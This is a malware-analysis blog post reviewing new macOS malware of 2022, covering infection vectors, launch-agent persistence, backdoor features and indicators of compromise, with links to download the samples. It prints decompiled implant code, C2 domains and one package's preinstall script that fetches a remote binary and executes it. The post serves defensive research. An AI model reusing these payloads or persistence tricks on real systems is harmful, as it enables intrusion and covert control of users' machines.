All samples covered in this post are available in our malware collection.
A printable (PDF) version of this report can be found here:
Goodbye 2022 …and hello 2023! 🥳
For the 7th year in a row, I’ve put together a blog post that comprehensively covers all the new Mac malware that appeared during the course of the year.
While the specimens may have been reported on before (i.e. by the AV company that discovered them), this blog aims to cumulatively and comprehensively cover all the new Mac malware of 2022 - in one place …yes, with samples of each malware available for download.
After reading this blog post, you should have a thorough understanding of recent threats targeting macOS. This is especially important as Macs continue to flourish, especially compared to other personal computers brands. In fact, an industry report from late 2022 showed that the year-over-year growth of all of the top 5 computer companies declined significantly …except for Apple who saw a 40% increase!
This growth is especially apparent in the context of the enterprise so much that many believe “Mac will become the dominant enterprise endpoint by 2030”:
…and unsurprisingly macOS malware continues following suit, becoming ever more prevalent (and insidious).
However at the end of this blog, I’ve included a section dedicated to these other threats, that includes a brief overview, and links to detailed write-ups.
For each malicious specimen covered in this post, we’ll discuss the malware’s:
Infection Vector:
How it was able to infect macOS systems.
Persistence Mechanism:
How it installed itself, to ensure it would be automatically restarted on reboot/user login.
Features & Goals:
What was the purpose of the malware? a backdoor? a cryptocurrency miner? or something more insidious…
Indicators of Compromise:
What are the observable “symptoms” of the malware …including its executable components, created files/directories, and of course (if relevant) address of network endpoints such as command and control servers.
Also, for each malware specimen, I’ve added a direct download link to the malware specimen should you want to follow along with my analysis or dig into the malware more yourself. #SharingIsCaring
Below is a timeline highlighting the new macOS malware of 2022, covered in this post:
01/2022
01/2022
03/2022
03/2022
04/2022
05/2022
05/2022
07/2022
07/2022
08/2022
10/2022
11/2022
12/2022
Before we dive in, let’s briefly mention malware analysis tools.
Throughout this blog, I reference various tools used in analyzing the malware specimens.
While there are a myriad of malware analysis tools, these are some of my own tools, and other favorites, and include:
ProcessMonitor
My open-source utility that monitors process creations and terminations, providing detailed information about such events.
FileMonitor
My open-source utility that monitors file events (such as creation, modifications, and deletions) providing detailed information about such events.
DNSMonitor
My open-source utility that monitors DNS traffic providing detailed information domain name questions, answers, and more.
WhatsYourSign
My open-source utility that displays code-signing information, via the UI.
Netiquette
My open-source (light-weight) network monitor.
lldb
The de-facto commandline debugger for macOS. Installed (to /usr/bin/lldb
) as part of Xcode.
Suspicious Package A tools for “inspecting macOS Installer Packages” (.pkgs), which also allows you to easily extract files directly from the .pkg.
Hopper Disassembler
A “reverse engineering tool (for macOS) that lets you disassemble, decompile and debug your applications” …or malware specimens.
You're in luck, as I've written a book on this topic:
|
SysJoker
SysJoker is a simple cross-platform backdoor supporting download and execute capabilities.
Download: SysJoker
(password: infect3d
)
SysJoker
was discovered by Intezer, initially on a Linux server. However further research by Intezer researchers Avigayil, Nicole, and Ryan uncovered a macOS variant as well:
"SysJoker was first discovered during an active attack on a Linux-based web server of a leading educational institution. After further investigation, we found that SysJoker also has Mach-O and Windows PE versions." -Intezer
🃏Just published a new research analyzing the #SysJoker backdoor.
— Avigayil Mechtinger (@AbbyMCH) January 11, 2022
SysJoker targets Windows, Linux and macOS.
Learn more about this new threat, its capabilities, behavior and (most importantly) how to detect it ->
https://t.co/9iOAA5SjSj@NicoleFishi19 @MhicRoibin pic.twitter.com/siBA5OMiI5
Writeups:
Infection Vector: Unknown, possible via infected npm packages
Intezer did not disclose how the macOS variant of SysJoker spreads or infects Mac systems, though mused that, “a possible attack vector for this malware is via an infected npm package.” What is known is that the macOS variant is named types-config.ts
to masquerade as a typescript file.
Using macOS’ built-in file command we can see that in reality it’s a universal (“fat”) mach-O binary, containing both Intel and arm64 builds:
% file SysJoker/types-config.ts SysJoker/types-config.ts: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64] / [arm64:Mach-O 64-bit executable arm64] SysJoker/types-config.ts (for architecture x86_64): Mach-O 64-bit executable x86_64 SysJoker/types-config.ts (for architecture arm64): Mach-O 64-bit executable arm64
The arm64
build ensures the malware can run natively on Apple Silicon (M1/M2).
WhatsYourSign
, my open-source utility that displays code-signing information via the UI, shows that this binary is signed, albeit via an adhoc signature:
Persistence: Launch Item
SysJoker
persists as a launch agent (com.apple.update.plist
).
Run the string
utility to extracted any embedded (ASCII) strings, reveals both the launch agent path (/Library/LaunchAgents/com.apple.update.plist
) as well an embedded launch item property list template (com.apple.update.plist
) for persistence.
% strings - SysJoker/types-config.ts ... /Library/LaunchAgents /Library/LaunchAgents/com.apple.update.plist ... <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.apple.update</string> <key>LimitLoadToSessionType</key> <string>Aqua</string> <key>ProgramArguments</key> <array> <string> </string> </array> <key>KeepAlive</key> <dict> <key>SuccessfulExit</key> <true/> </dict> <key>RunAtLoad</key> <true/> </dict> </plist> ...
As the malware appears to be written in C++, which rather complex to statically reverse, its easier to lean on dynamic analysis tools to observe it’s persistence.
Via my ProcessMonitor
, we can run the malware in a VM and observe many of the malware’s actions, such as the fact that when initially run, it copies itself to the user’s Library/MacOsServices/
directory, as updateMacOs
…and then launches this copy:
# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty ... { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { ... "arguments" : [ "cp", "./types-config.ts", "/Users/user/Library/MacOsServices/updateMacOs" ], "path" : "/bin/cp", "name" : "cp", "pid" : 1404 } ... } { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { ... "arguments" : [ "sh", "-c", "nohup '/Users/user/Library/MacOsServices/updateMacOs' >/dev/null 2>&1 &" ], "path" : "/bin/bash", "name" : "bash", "pid" : 1405 } ... }
If one has BlockBlock installed, it will detects the malware attempting to persist:
Allowing the malware to persist, allows us to take a peek at the property list, com.apple.update.plist
it creates:
% cat ~/Library/LaunchAgents/com.apple.update.plist <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.apple.update</string> <key>LimitLoadToSessionType</key> <string>Aqua</string> <key>ProgramArguments</key> <array> <string>/Users/user/Library/MacOsServices/updateMacOs</string> </array> <key>KeepAlive</key> <dict> <key>SuccessfulExit</key> <true/> </dict> <key>RunAtLoad</key> <true/> </dict> </plist>
No surprises here. The launch agent plist (populated from the template we saw as an embedded string) points the malware’s copy: /Users/user/Library/MacOsServices/updateMacOs
. And, as the RunAtLoad
key is set to true
, the malware will be restarted each time the user logs in.
Capabilities: Persistent Backdoor (supporting download and execute).
Debugging the malware (in an isolated VM) reveals it first performs a simple survey of its host. This survey is then sent to the malware’s remote command & control server (graphic-updater.com
) when the malware initially checks in:
(lldb) x/s $rdx 0x7fda91cafef0: "serial=user_x&name=user&os=os&anti=av&ip=ip&user_token=987217232"
While this (brief) survey information contains the name of the logged in user (user
on my analysis VM), other fields seems to be unset (ip=ip
), or hard coded (e.g. 987217232
).
Aside from this basic survey “capability” SysJoker
supports a command to download and execute a binary, as well as running arbitrary commands:
The Intezer report notes that all versions (Linux, Windows, and Mac) support commands named exec
and cmd
:
"[the exec] command is in charge of dropping and running an executable. SysJoker will receive a URL to a zip file, a directory for the path the file should be dropped to, and a filename that the malware should use on the extracted executable. It will download this file, unzip it and execute it."
[the cmd] command is in charge of running a command and uploading its response to the C2." -Intezer
Disassembling the Mac version of SysJoker
, we find the function (at 0x0000000100005f80
) responsible for parsing the tasking from the command and control server, including the aforementioned exec
and cmd
commands.
First, the exec
command:
1int sub_100005f80(...) {
2
3 rax = std::__1::basic_string::compare(&var_E0, 0x0, 0xffffffffffffffff, "exe", 0x3);
4 if (rax == 0x0) goto handleExec;
5 ...
6
7handleExec:
8
9 rax = sub_100004e76(&var_60, "url");
10 rax = sub_100004e76(&var_60, "dir");
11 rax = sub_100004e76(&var_60, "name");
12 ...
13
14}
In the above disassembly you can see that if malware is tasked with the exec
command, it will first extract the command’s parameters (url
, dir
, name
, etc.).
The code to then unzip the downloaded executable and execute it, appears at sub_100003995
. This function invokes:
unzip -o
to unzip the executable,chmod 0777
to change the permissions (on the now unzipped executable)system
to execute the binary.The function (at 0x0000000100005f80
) is also responsible for handling the cmd
command. In the following disassembly the malware first looks for the string cmd
coming from the command & control server. If tasked with this command it invokes an unnamed subroutine (sub_100004e76
):
1int sub_100005f80(...) {
2
3 ...
4
5 rax = std::basic_string::compare(&var_E0, 0x0, 0xffffffffffffffff, "cmd", 0x3);
6 if (rax == 0x0) {
7 ...
8 rax = sub_100004e76(&var_60, "command");
9 ...
10 }
11}
After extracting the commands parameter (command
), it appears to invoke the popen
API (via a helper function found at 0x000000010000256b
), to execute the command. As noted by Intezer, the results of the executed command will be uploaded to the command and control server.
Indicators of Compromise (IoCs):
IoCs for SysJoker
include the following (credit: Intezer):
Executable Components:
/Library/MacOsServices/updateMacOs
:1a9a5c797777f37463b44de2b49a7f95abca786db3977dcdac0f79da739c08ac
fe99db3268e058e1204aff679e0726dc77fd45d06757a5fda9eafc6a28cfb8df
d0febda3a3d2d68b0374c26784198dc4309dbe4a8978e44bb7584fd832c325f0
Files/Directories:
/Library/MacOsServices
/Library/LaunchAgents/com.apple.update.plist
Command and Control Servers:
bookitlab.tech
winaudio-tools.com
graphic-updater.com
github.url-mini.com
office360-update.com
DazzleSpy
A feature complete cyber-espionage implant, DazzleSpy was deployed via a Safari (0day?) exploit and targeted pro-democracy protestors.
Download: DazzleSpy
(password: infect3d
)
Researchers Marc-Etienne M.Léveillé and Anton Cherepanov of ESET discovered DazzledSpy. They published their findings and research in an excellent writeup detailed: “Watering hole deploys new macOS malware, DazzleSpy, in Asia”:
Writeups:
“Watering hole deploys new macOS malware, DazzleSpy, in Asia”
“Analyzing OSX.DazzleSpy: A Fully-featured Cyber-espionage macOS Implant”
Infection Vector: Safari Exploit
Its rather uncommon to discover Mac malware that is deployed by means of a browser exploit …but this is exactly how DazzleSpy was able to infect its victims, as ESET notes:
"[A] Hong Kong pro-democracy radio station website [was] compromised to serve a Safari exploit that installed cyberespionage malware on site visitors' Macs. Here we provide a breakdown of the WebKit exploit used to compromise Mac users and an analysis of the payload, which is a new malware family targeting macOS." -ESET
To infect Mac users, the attackers first compromised a legitimate website and injected an iFrame containing an exploit chain.
The ESET researchers noted the exploit chain would first check the installed version of macOS, attempting to exploit users running macOS 10.15.2 or newer. The complex exploit code was found in a file named mac.js
. This would exploit what appeared to be CVE-2021-1789
. Then upon success (read: initial code execution), would exploit a privilege escalation vulnerability (CVE-2021-30869
) to escape the Safari sandbox and gain root. Finally the exploit chain would complete, but downloading and decrypting payload: DazzleSpy
.
For more details on this rather involved exploitation chain, see either ESET’s report or the Google TAG report, “Analyzing a watering hole campaign using macOS exploits”.
Persistence: Launch Agent
The ESET researchers noted:
"In order to persist on the compromised device, the malware adds a Property List file ... named com.apple.softwareupdate.plist to the LaunchAgents folder. The malware executable file is named softwareupdate and saved in the $HOME/.local/ folder." -ESET
In output from the strings
tool (run against the DazzleSpy binary named softwareupdate
), one can see persistence-related strings such as %@/Library/LaunchAgents
and com.apple.softwareupdate.plist
:
% strings - DazzleSpy/softwareupdate ... %@/Library/LaunchAgents /com.apple.softwareupdate.plist launchctl unload %@ RunAtLoad KeepAlive
In a disassembler, we find cross-references to these strings in the aforementioned installDaemon
method (of the class named Singleton
):
1/* @class Singleton */
2+(void)installDaemon {
3...
4
5rax = NSHomeDirectory();
6var_78 = [NSString stringWithFormat:@"%@/Library/LaunchAgents", rax];
7var_80 = [var_78 stringByAppendingFormat:@"/com.apple.softwareupdate.plist"];
8if ([var_70 fileExistsAtPath:var_78] == 0x0) {
9 [var_70 createDirectoryAtPath:var_78 withIntermediateDirectories:0x1 ...];
10...
11
12var_90 = [[NSMutableDictionary alloc] init];
13var_98 = [[NSMutableArray alloc] init];
14[var_98 addObject:var_38];
15[var_98 addObject:@"1"];
16rax = @(YES);
17[var_90 setObject:rax forKey:@"RunAtLoad"];
18rax = @(YES);
19[var_90 setObject:rax forKey:@"KeepAlive"];
20rax = @(YES);
21[var_90 setObject:rax forKey:@"SuccessfulExit"];
22[var_90 setObject:@"com.apple.softwareupdate" forKey:@"Label"];
23[var_90 setObject:var_98 forKey:@"ProgramArguments"];
24
25[var_90 writeToFile:var_80 atomically:0x0];
In the above decompilation, we first see the malware build the path to a launch agent plist (~/Library/LaunchAgents/com.apple.softwareupdate.plist
).
Then, it initializes a dictionary for the launch agent plist, with various key value pairs (RunAtLoad
, etc). Once initialized this dictionary is written out to the launch agent plist (com.apple.softwareupdate.plist
).
We can passively observe the malware (recall, named softwareupdate
) dynamically creating this plist via a File Monitor:
# FileMonitor.app/Contents/MacOS/FileMonitor -pretty ... { "event" : "ES_EVENT_TYPE_NOTIFY_CREATE", "file" : { "destination" : "/Users/user/Library/LaunchAgents/com.apple.softwareupdate.plist", "process" : { "signing info (computed)" : { "signatureStatus" : -67062 }, "uid" : 501, "arguments" : [ "/Users/user/Desktop/softwareupdate" ], "path" : "/Users/user/Desktop/softwareupdate", "pid" : 1469 } } }
Once the malware’s launch agent’s plist has been created, we can easily dump its contents:
% cat /Users/user/Library/LaunchAgents/com.apple.softwareupdate.plist <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>KeepAlive</key> <true/> <key>Label</key> <string>com.apple.softwareupdate</string> <key>ProgramArguments</key> <array> <string>/Users/user/.local/softwareupdate</string> <string>1</string> </array> <key>RunAtLoad</key> <true/> <key>SuccessfulExit</key> <true/> </dict> </plist>
In the ProgramArguments
key we can see the path to the persistent location of the malware: ~/.local/softwareupdate
. Also, as the RunAtLoad
key is set to true
, the malware will be automatically restarted each time the user logs in. Persistence achieved!
Capabilities: Fully-feature implant
The ESET report also describes the tasking (remote) commands that DazzleSpy supports. This includes everything you’d expect to find in a cyber-espionage implant, including surveying the infected host, exfiltrating files, running commands, self-deletion.
Interestingly, the malware (again, as noted by ESET), also supports more advanced features such as:
The ability to search for files (via regex?)
The ability to start fully interactive remote desktop (RDP) session
The ability to dump the keychain (on systems vulnerable to CVE-2019-8526
).
CVE-2019-8526 was found by Linus Henze, and presented at our very own #OBTS conference:
See:
The handling of remote commands (tasking) seems to be implemented in the analysisData: Socket:
method. Here the malware looks for tasking commands from the command and control server, and then acts upon them. For example, here’s the decompilation of the run
command, which opens (“runs”) a specified file (“path”) via its default handler (via NSWorkspace
’s’ openFile
API):
1if (YES == [command isEqualToString:@"run"]) {
2 path = [var_888 objectForKeyedSubscript:@"path"];
3 ...
4 [NSWorkspace.sharedWorkspace openFile:path];
5}
Indicators of Compromise (IoCs):
IoCs for DazzleSpy
include the following (credit: ESET):
Executable Components:
~/.local/softwareupdate
: f9ad42a9bd9ade188e997845cae1b0587bf496a35c3bffacd20fefe07860a348
Files/Directories:
~/.local
~/Library/LaunchAgents/com.apple.softwareupdate.plist
Command and Control Servers:
88.218.192.128:5633
CoinMiner
CoinMiner is a surreptitious crypto currency miner, leveraging various open-source components and I2P for stealthy encrypted communications.
Download: CoinMiner
(password: infect3d
)
In February, TrendMicro security researchers published a thorough write-up on a new crypto-currency miner (CoinMiner
) titled “Latest Mac Coinminer Utilizes Open-Source Binaries and the I2P Network”. As mentioned in the title of this write-up they described how the miner used various open-source components and I2P for its communications.
Writeups:
Infection Vector: (likely) Trojanized Disk Images
The TrendMicro report states,
"We suspected that the Mach-O sample arrived packaged in a DMG (an Apple image format used to compress installers) for Adobe Photoshop CC 2019 v20.0.6" -TrendMicro
The report notes that this conclusion was reached due to a code snippet which (as part of the malware installation logic) would launch a binary from the hardcoded path: /Volumes/Adobe Photoshop\ CC 2019\ v20.0.6/Adobe Zii\ 2019 4.4.2.app/Contents/MacOS/.Patch
Reversing one of the malware’s binaries (lauth
), this code is readily apparent the disassembly of the main function:
1int main(...) {
2
3 ...
4 system("/Volumes/Adobe\ Photoshop\ CC\ 2019\ v20.0.6/Adobe\ Zii\ 2019\
5 4.4.2.app/Contents/MacOS/.Patch &");
6
7 return 0x0;
8}
Zii is well known patcher tool that claims to allow users to subvert Adobe products (Photoshop, etc) bypassing otherwise required registration and licensing checks. Its unsurprising that here hackers have packed inserted some malware as well.
Still the user is expecting Zii to run, hence it makes sense for the malware to launch it, such that nothing appears amiss.
Persistence: Launch Daemon
The same binary, lauth
also persists the malware via a launch daemon: /Library/LaunchDaemons/com.adobe.acc.installer.v1.plist
.
In order to install a launch daemon, one much have root privileges. Easy enough, the parent process of lauth
(which presumably is run by the user as the main binary on the infected disk image) simply asks the user via the AuthorizationExecuteWithPrivileges
API.
1int main(...) {
2 ...
3
4 fwrite(__lauth, 0x1, 0xd03c70, fopen("/tmp/lauth", "wb"));
5 system("chmod +x /tmp/lauth");
6 ...
7
8 AuthorizationCreate(0x0, 0x0, 0x0, &var_40);
9 AuthorizationExecuteWithPrivileges(var_40, "/tmp/lauth", 0x0, &var_30, &var_38);
10
11}
Invoking the AuthorizationExecuteWithPrivileges
API will result in a password prompt, and if the user enters the appropriate credentials will execute a specified (here the lauth
binary) will elevated privileges.
With such elevated privileges, the malware can now persist as launch daemon.
Back to the disassembly of the lauth
binary, we find an embedded launch item property list:
The malware will write this embedded property list to /Library/LaunchDaemons/com.adobe.acc.installer.v1.plist
and then launch it (via launchctl load
…as shown in the following disassembly:
1int main(...) {
2 ...
3
4 fopen("/Library/LaunchDaemons/com.adobe.acc.installer.v1.plist", "wb"));
5 fwrite("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC ...
6 "<plist version=\"1.0\">\n<dict>\n\t<key>Label</key>\n\t
7 "<string>com.adobe.acc.installer.v1</string>\n\t<key>ProgramArguments…");
8 ...
9 system("launchctl load /Library/LaunchDaemons/com.adobe.acc.installer.v1.plist");
10
11}
As the RunAtLoad
key is set to true
, the persisted item /usr/local/bin/com.adobe.acc.installer.v1
will be (re)executed each time the infected system is rebooted.
Capabilities: Crypto-Currency Miner
CoinMiner
main (and only?) objective is to surreptitiously mine crypto-currency. This is accomplished by executing a binary (it has installed) named com.adobe.acc.localhost
. (This binary is spawned by the launch daemon’s binary: /usr/local/bin/com.adobe.acc.installer.v1
).
The TrendMicro report explains that the com.adobe.acc.localhost
binary is simply, “modified [open-source] XMRig command-line [miner] app”. This can be confirmed (as they note), by executing it with the --help
commandline option:
% ./com.adobe.acc.localhost --help Usage: xmrig [OPTIONS] Options: -a, --algo=ALGO specify the algorithm to use cryptonight cryptonight-lite cryptonight-heavy -o, --url=URL URL of mining server -O, --userpass=U:P username:password pair for mining server -u, --user=USERNAME username for mining server -p, --pass=PASSWORD password for mining server --rig-id=ID rig identifier for pool-side statistics (needs pool support) -t, --threads=N number of miner threads
Configuration information for miner can be found (as pointed out by the TrendMicro researchers) embedded within the com.adobe.acc.localhost
binary:
This configuration includes the url of the miner server, user name and password:
url: 127.0.0.1:4545
user: pshp
password: x
A localhost (127.0.0.1
) address for the mining server seems strange, and until we realize that malware installs a I2P listener on localhost, port 4545
“The Invisible Internet Project (I2P) is an anonymous network layer that allows for censorship-resistant, peer-to-peer communication.”
Via macOS built-in lsof
command you can see the listener on port 4545
:
% lsof -i -P -n COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME ... com.adobe 2844 user 11u IPv4 0t0 TCP *:15899 (LISTEN) com.adobe 2844 user 23u IPv4 0t0 UDP *:15899 com.adobe 2844 user 30u IPv4 0t0 TCP 127.0.0.1:4545 (LISTEN)
As TrendMicro notes,
"We can conclude that the XMRig traffic to 127.0.0.1:4545 will be tunneled by i2pd to [and IP2 endpoint]." ... -TrendMicro
…and why use I2P?, rather simply as the TrendMicro researchers state, “to hide its network traffic from the untrained eye.”
Indicators of Compromise (IoCs):
There are a myriad of samples (and thus IoCs) for CoinMiner
.
TrendMicro, has published a file solely containing such IoCs, which should be consulted. However, we list a few here (credit: TrendMicro):
Executable Components:
/tmp/lauth
:
fe3700a52e86e250a9f38b7a5a48397196e7832fd848a7da3cc02fe52f49cdcf
/usr/local/bin/com.adobe.acc.localhost
:
fabe0b41fb5bce6bda8812197ffd74571fc9e8a5a51767bcceef37458e809c5c
/usr/local/bin/com.adobe.acc.network
:
a2909754783bb5c4fd6955bcebc356e9d6eda94f298ed3e66c7e13511275fbc4
Files/Directories:
/Library/LaunchDaemons/com.adobe.acc.installer.v1.plist
Gimmick
A multi-platform implant, leveraging cloud providers for command & control.
Download: Gimmick
(password: infect3d
)
In March, Volexity published a write-up on their discover and analysis of Gimmick
, noting:
"GIMMICK is used in targeted attacks by Storm Cloud, a Chinese espionage threat actor known to attack organizations across Asia. It is a feature-rich, multi-platform malware family that uses public cloud hosting services (such as Google Drive) for command-and-control (C2) channels." -Volexity
Writeups:
Infection Vector: Unknown
Volexity discovered the macOS version of Gimmick
via unauthorized network traffic.
"...this traffic was determined to be unauthorized and the system, a MacBook Pro running macOS 11.6 (Big Sur)...This led to the discovery of a macOS variant of a malware implant Volexity calls GIMMICK" -Volexity
At this time however, it is unknown how Gimmick
initially infects macOS systems.
Persistence: Launch Item
In terms of persistence, the Gimmick
will either persist as a launch daemon or agent. Interestingly the malware display some simple variability, with Volexity noting that “The name of the binary, plist, and agent will vary per sample”.
However perusing the malware’s disassembly we find a hardcod path for both a launch daemon and agent: com.CorelDRAW.va.plist
:
1int sub_1000299dd(int arg0) {
2 ...
3 sub_10002939e(arg0, "/Library/LaunchDaemons/com.CorelDRAW.va.plist");
4 if (getuid() != 0x0) {
5 ...
6 rax = std::basic_string(&var_50, "/Users/", &var_68);
7 rax = std::basic_string::append(&var_50,
8 "/Library/LaunchAgents/com.CorelDRAW.va.plist");
Depending on the malware permissions (determined in the above disassembly via: getuid() != 0x0
), it will either persist as launch daemon or launch agent.
If we run the malware in a isolated virtual machine, our FileMonitor
observes the creation of the launch item:
# FileMonitor.app/Contents/MacOS/FileMonitor -pretty ... { "event" : "ES_EVENT_TYPE_NOTIFY_WRITE", "file" : { "destination" : "/Library/LaunchDaemons/com.CorelDRAW.va.plist", "process" : { "signing info (computed)" : { "signatureStatus" : 0, "signatureSigner" : "AdHoc", "signatureID" : "mac_g-55554944f9d2f6db7ac23aaea93cad4f3d707ec4" }, "uid" : 0, "arguments" : [ ], "ppid" : 613, "ancestors" : [ 401, 1 ], "rpid" : 401, "architecture" : "Apple Silicon", "path" : "/Users/user/Downloads/gimmick", "signing info (reported)" : { "teamID" : "", "csFlags" : 570425347, "signingID" : "mac_g-55554944f9d2f6db7ac23aaea93cad4f3d707ec4", "platformBinary" : 0, "cdHash" : "69051425DFC9405E7130968AD471CA578F39BF55" }, "name" : "gimmick", "pid" : 615 } } }
Once the malware has written out the launch daemon plist, com.CorelDRAW.va.plist
, we can dump its contents:
% cat /Library/LaunchDaemons/com.CorelDRAW.va.plist <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC ...PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.CorelDRAW.va.plist</string> <key>ProgramArguments</key> <array> <string>/var/root/Library/Preferences/CorelDRAW/CorelDRAW</string> </array> <key>RunAtLoad</key> <true/> <key>StartInterval</key> <integer>30</integer> <key>ThrottleInterval</key> <integer>2</integer> <key>WorkingDirectory</key> <string>/var/root/Library/Preferences/CorelDRAW</string> </dict> </plist>
The persisted binary /var/root/Library/Preferences/CorelDRAW/CorelDRAW
is simply a copy of the malware.
As the RunAtLoad
key is set to true
, macOS will automatically start the malware (now named CorelDRAW
).
Capabilities: Backdoor
Gimmick
is rather large, complex, and interestingly as noted by Volexity leverages “cloud platforms for C2, such as using Google Drive, [which] increases the likelihood of operating undetected by network monitoring solutions”
…but at it’s core, its capabilities are rather simple, albeit sufficient to afford a remote attacker full (remote) control over an infected system. These capabilities (taskable from its cloud-based command & control server) include:
The Volexity report also mentions several other taskable commands related configuring various command & control related timers.
Let’s take a closer look at one of these commands, specifically the survey …which is also directly executed when the malware starts up. (We’ll follow the invocation of the survey logic from malware’s entry point as that’s a simpler control flow path).
Starting at the malware’s entry point, we find the rather verbose code:
1r14 = dispatch_queue_create("SendBaseinfoQueue", *__dispatch_queue_attr_concurrent);
2
3rbx = [[GCDTimerManager sharedInstance] retain];
4
5[rbx scheduleGCDTimerWithName:@"send_cmd_baseinfo" interval:r14 queue:0x1 repeats:0x0 option:^ {/* block implemented at sub_100002381 */ } } action:stack[-1120]];
Based on the queue name (SendBaseinfoQueue
) and GCD Timer name (send_cmd_baseinfo
), safe to assume this is kicking off the “survey and post to server” logic. Let’s dig deeper, looking into the block (sub_100002381
) that is invoked.
A quick peek reveals it simply calls a unnamed subroutine (sub_10000c64a
) that is responsible for generating the survey and trigger the upload logic:
1int sub_10000c64a() {
2 var_38 = [[CDDSMacBaseInfo getHardwareUUID] retain];
3 var_30 = [[CDDSMacBaseInfo getMacaddress] retain];
4 r12 = [[NSString stringWithUTF8String:[CDDSMacBaseInfo GetCpuInfoAndModel]] retain];
5 r13 = [[CDDSMacBaseInfo getSystemVersion] retain];
6
7 rax = [NSMutableDictionary dictionary];
8 [rax setObject:var_38 forKey:@"uuid"];
9 [rax setObject:var_30 forKey:@"mac"];
10 [rax setObject:r13 forKey:@"sysname"];
11 [rax setObject:r12 forKey:@"cpu"];
12 rax = sub_10000c836(rax);
13
14 [FileManager writeCmdJsonFeedback:rax jsonType:0x0];
15 ...
16}
Thanks to the verbosity of the method names (e.g. getMacaddress
) as well as the keynames (e.g. mac
), it’s pretty easy to understand exactly what the survey entails.
And once the survey has been generated its stored (via a call to: FileManager writeCmdJsonFeedback:...
), pending upload to the cloud-based server.
Lets watch the malware survey an (infected) vm, via a debugger …by setting a breakpoint right after the survey dictionary has been populated.
As the (now populated) dictionary is found in the $rax register, we can dump it via the print object $rax
command:
# lldb /var/root/Library/Preferences/CorelDRAW/CorelDRAW ... (lldb) print object $rax { cpu = "MacBookAir10,1"; mac = "50-ED-3C-14-49-2F"; sysname = "Version 12.6.1 (Build 21G217)"; uuid = "B27B4042-D513-50C3-9E1D-D4FC54FA7952"; }
Indicators of Compromise (IoCs):
IoCs for Gimmick
include the following (credit: Volexity):
Executable Components:
/var/root/Library/Preferences/CorelDRAW/CorelDRAW
: 2a9296ac999e78f6c0bee8aca8bfa4d4638aa30d9c8ccc65124b1cbfc9caab5f
Files/Directories:
/var/root/Library/Preferences/CorelDRAW/
/Library/LaunchDaemons/com.CorelDRAW.va.plist
Volexity also published a list of yara rules to detect Gimmick
.
oRAT
Belonging to a new APT group, oRAT macOS implant supports a myriad of features and capabilities.
Download: oRAT
(password: infect3d
)
In April, TrendMicro researchers published a write-up details on a new APT group they dubbed “Earth Berberoka” …as well as details on new persistent macOS implant named oRAT
, written in Go:
Writeups:
“New APT Group Earth Berberoka Targets Gambling Websites With Old and New Malware”
“From the Front Lines | Unsigned macOS oRAT Malware Gambles For The Win”
Infection Vector: Malicious Ads / Fake Update Prompt
In their write-up TrendMicro noted that the oRAT malware was found embedded in Disk Images (.dmgs).
"The oRAT droppers that we found in our analysis were a MiMi chat application built using the Electron JS framework and a DMG (disk image) file." -TrendMicro
Exactly how such disk images make to their intended targets or victims remains unclear, as well articulated in a follow-up research blog post by SentinelOne:
"Precisely what kind of lure the threat actors use to convince targets to download and launch the dropper is unknown at this time..." -SentinelOne
The SentinelOne researchers did provide more information about the infected disk images, noting that they contain malicious packages (.pkgs) that when run will execute a malicious preinstall script.
Using the Suspicious Package utility, we can examine one of oRATs
malicious packages to extract this script:
It’s a simple, single line bash script:
1#!/bin/bash
2
3cd /tmp; curl -sL https://d.github.wiki/mac/darwinx64 -O; chmod +x darwinx64; ./darwinx64;
The script download’s main oRAT
binary darwinx64
to the /tmp
directory, where after setting it to executable, launches it.
Persistence: None
None of the initial writeups on oRAT
mention a persistence mechanism. Moreover, detailed analysis by yours truly of all components of the malware revealed no code related to persisting the malware. Finally, though executing the malware in an (isolated) virtual machine triggered full execution of the malware, this resulted in no persistence events.
Capabilities: Backdoor
The initial reports on oRAT
gave an overview of its capabilities via static analysis. After spending some quality time with the malware, I was able to construct a custom command & control server that would dynamically coerce oRAT
to reveal its full capabilities.
This approach (along with a triage of the malware’s binary) revealed oRAT
’s full capabilities:
…that’s a rather impressive list of capabilities!
As noted, via the our custom C&C server we can task the malware to gain more insight into its capabilities. Let’s start with the survey command.
As shown below, we first launch our custom C&C server, and when oRAT
connects, task it via the /agent/info
request:
% ./server 1337 Launching oRat C&C Server... [+] Listening on port: 1337 [+] New client connection: 192.168.0.27:54784 1337 [+] Accepted stream w/ flow id: 3 POST /join HTTP/1.1 ... {"type":0} [+] Sending: GET /agent/info HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8... { "OS": "darwin", "Arch": "amd64", "Hostname": "users-Mac.local", "Username": "user", "RemoteAddr": "", "Version": "v0.5.1", "JoinTime": "0001-01-01T00:00:00Z" }
From this, we can see an oRAT
survey consists information about both the infected machine (hardware, etc.) as well as the user.
For another example, let’s task the malware to perform a port scan:
% ./server 1337 Launching oRat C&C Server... [+] New client connection: 192.168.0.27:54784 1337 [+] Sending: /agent/portscan?Host=192.168.0.10&Port=1000-2000&Thread=1&Timeout=100 Start. Open: 192.168.0.10:1234 Done.
Tasking the malware, while running a network monitor reveals it performs a port scan, simply by attempting to connect to each port (in the tasked range) for the specified host:
Interesting in learning more? You can watch my entire talk, “Making oRAT Go”:
Indicators of Compromise (IoCs):
IoCs for oRAT
include the following (credit: TrendMicro):
Executable Components:
/tmp/darwinx64
: ee07dfd6443af8f20f5f11effb9cbcec07e125697a28aee78718caeed17f1407
